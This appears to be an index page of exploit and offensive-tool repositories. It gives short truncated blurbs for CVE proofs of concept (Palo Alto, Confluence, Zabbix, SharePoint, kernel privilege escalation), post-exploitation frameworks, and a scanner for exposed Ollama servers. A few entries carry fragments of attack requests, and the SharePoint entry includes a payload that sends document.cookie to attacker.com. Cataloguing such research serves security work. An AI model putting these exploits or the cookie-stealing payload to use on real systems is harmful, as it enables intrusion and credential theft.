CVE-2026-0920

Exploit Research: CVE-2026-0920 - LA-Studio Element Kit Backdoor Technical analysis and Proof of Concept PoC for the critical backdoor discovered in LA-Studio Element Kit for Elementor versions ≤ 1.5.6.3. This vulnerability allows unauthenticated administrative account creation. Vulnerability...

CVE-2026-25126

CVE-2026-25126: PolarLearn Vote Count Manipulation Research: Joshua van Rijswijk Description PoC for CVE-2026-25126 , a high-severity business logic vulnerability in the PolarLearn forum voting API. The endpoint POST /api/v1/forum/vote fails to enforce strict runtime validation of the direction...

CVE-2021-42237

CVE-2021-42237 This is an exploit/PoC for CVE-2021-42237 taken from: This Assetnote report DISCLAIMER: I'm not associated with Assetnote in any way or form. This content is provided for educational porpouses only. Make sure to replace CMD-COMMAND-HERE, as well as the Host, from the PoC below:...

copy-fail-CVE-2026-31431

CVE-2026-31431 — Copy Fail Linux kernel local privilege escalation via AFALG + splice page-cache overwrite For authorized security research, penetration testing, and educational purposes only. Do not use against systems you do not own or have explicit written permission to test. Technical Writeup...

aws-iam-authenticator

AWS IAM Authenticator for Kubernetes A tool to use AWS IAM credentials to authenticate to a Kubernetes cluster. The initial work on this tool was driven by Heptio. The project receives contributions from multiple community engineers and is currently maintained by Heptio and Amazon EKS OSS...

CVE-2026-25232-PoC

CVE-2026-25232 — Gogs Protected Branch Deletion Bypass Write → Admin Escalation Overview Field| Details ---|--- CVE| CVE-2026-25232 Product| Gogs Go Git Service Affected Versions| = 0.13.4 Fixed Version| 0.14.1 CVSS Score| Medium CWE| CWE-863: Incorrect Authorization Authentication Required| Yes...

CVE-2024-3400-poc

CVE-2024-3400 Vulnerability PoC Proof of Concept Vulnerability Description CVE-2024-3400 is a command injection vulnerability in Palo Alto firewall systems. By crafting a malicious HTTP request, an attacker can execute arbitrary commands on the target server and even gain root privileges...

CVE-2026-4112

SonicWall SMA 8200v: Privilege Escalation via Cross-Parameter Blind SQL Injection Firmware: 12.5.0-02283 Platform Hotfix on 12.5.0-02002 Base SonicWall Advisory 1. Summary A post-authentication blind SQL injection vulnerability in the SonicWall SMA 8200v management console port 8443 allows any...

CVE-2026-42141-xibo-ssrf

CVE-2026-42141 - XIBO CMS SSRF SSRF vulnerability in Xibo CMS CVE-2026-42141 Description Server-Side Request Forgery SSRF vulnerability in Xibo CMS via the uploadUrl feature. This vulnerability was discovered during security research on Xibo CMS. Impact An authenticated user can force the server ...

DataEase_Postgresql_JDBC_Bypass-CVE-2025-49002

fofa syntax: title="DataEase" poc: "POST /de2api/datasource/validate HTTP/1.1 Host: your-ip Accept-Encoding: gzip, deflate, br, zstd sec-ch-ua: ""Google Chrome"";v=""135"", ""Not-A.Brand"";v=""8"", ""Chromium"";v=""135"" User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML...

OllamaHound

OllamaHound Modular toolkit for discovering exposed Ollama servers, fingerprinting versions, and validating model access. OllamaHound is a modular, RedTeam oriented toolkit for discovering publicly exposed Ollama servers , fingerprinting versions, classifying CVE exposure , validating whether tex...

Zabbix-CVE-2024-42327-SQL-Injection-RCE

Zabbix-CVE-2024-42327 RCE PoC root@kitploit: / / | / / / | \ / \ / // / / // /| | / / / / / | | / / // // / / // / // // // // / / / / / / / / | |/ / /// // // / / // / // / / / / / |// //// // // //// // NSFOCUS CERT detected that Zabbix released a security announcement and fixed the SQL...

Gideon

root@kitploit: ██████╗ ██╗██████╗ ███████╗ ██████╗ ███╗ ██╗ ██╔════╝ ██║██╔══██╗██╔════╝██╔═══██╗████╗ ██║ ██║ ███╗██║██║ ██║█████╗ ██║ ██║██╔██╗ ██║ ██║ ██║██║██║ ██║██╔══╝ ██║ ██║██║╚██╗██║ ╚██████╔╝██║██████╔╝███████╗╚██████╔╝██║ ╚████║ ╚═════╝ ╚═╝╚═════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═══╝ Autonomous...

CVE-2026-23723-POC

CVE-2026-23723 PoC - WeGIA Authenticated SQL Injection Exploit Helper Authenticated Error-Based SQL Injection in WeGIA ≤ 3.6.1 GHSA-xfmp-2hf9-gfjp | Official Advisory POC Original Author / Reporter : ViniCastro2001 GHSA Published by : nilsonLazarin project maintainer This lightweight Python scrip...

CVE-2023-22527

CVE-2023-22527 Atlassian Confluence - Remote Code Execution CVE-2023-22527 Poc root@kitploit: POST /template/aui/text-inline.vm HTTP/1.1 Host: localhost:8090 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Gecko Chrome/119.0.6045.159 Safari/537.36 Content-Type:...

CVE-2021-43798

CVE-2021-43798 A batch verification script written in Golang, with 48 built-in verifications Too many people write it in Python, so I'm trying to learn Golang Usage Save the URL addresses as url.txt, then run go run CVE-2021-43798.go in the current directory. Vulnerable addresses will be saved to...

CryptoLyzer

CryptoLyzer is a fast, flexible, and comprehensive server cryptographic protocol TLS, SSL, SSH, IKE, DNSSEC and related setting HTTP headers, DNS records analyzer and fingerprint JA3, HASSH generator with API and CLI interfaces. Use CryptoLyzer when you need to audit TLS/SSL cipher suites — unlik...

CVE-2024-49112

LDAP Nightmare An exploit for CVE-2024-49112 reported by Yuki Chen @guhe120. A vulnerability in Windows Lightweight Directory Access Protocol LDAP. Created by SafeBreach Labs published on January 1st 2025. For the full technical analysis of the vulnerability and how we managed to exploit it check...

PsMapExec

PsMapExec 🚀 ¿Qué es PsMapExec? PsMapExec es un framework de post-explotación basado en PowerShell, fuertemente inspirado en las conocidas herramientas CrackMapExec / NetExec. Trae la apariencia y funcionalidad familiar de estas herramientas a PowerShell nativo con su propio arsenal de mejoras. Es...

CVE-2026-32201-exploit

Overview Python exploit for CVE-2026-32201 - improper input validation в Microsoft SharePoint Server, allowing unauthenticated network spoofing C:L/I:L. Affected: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint...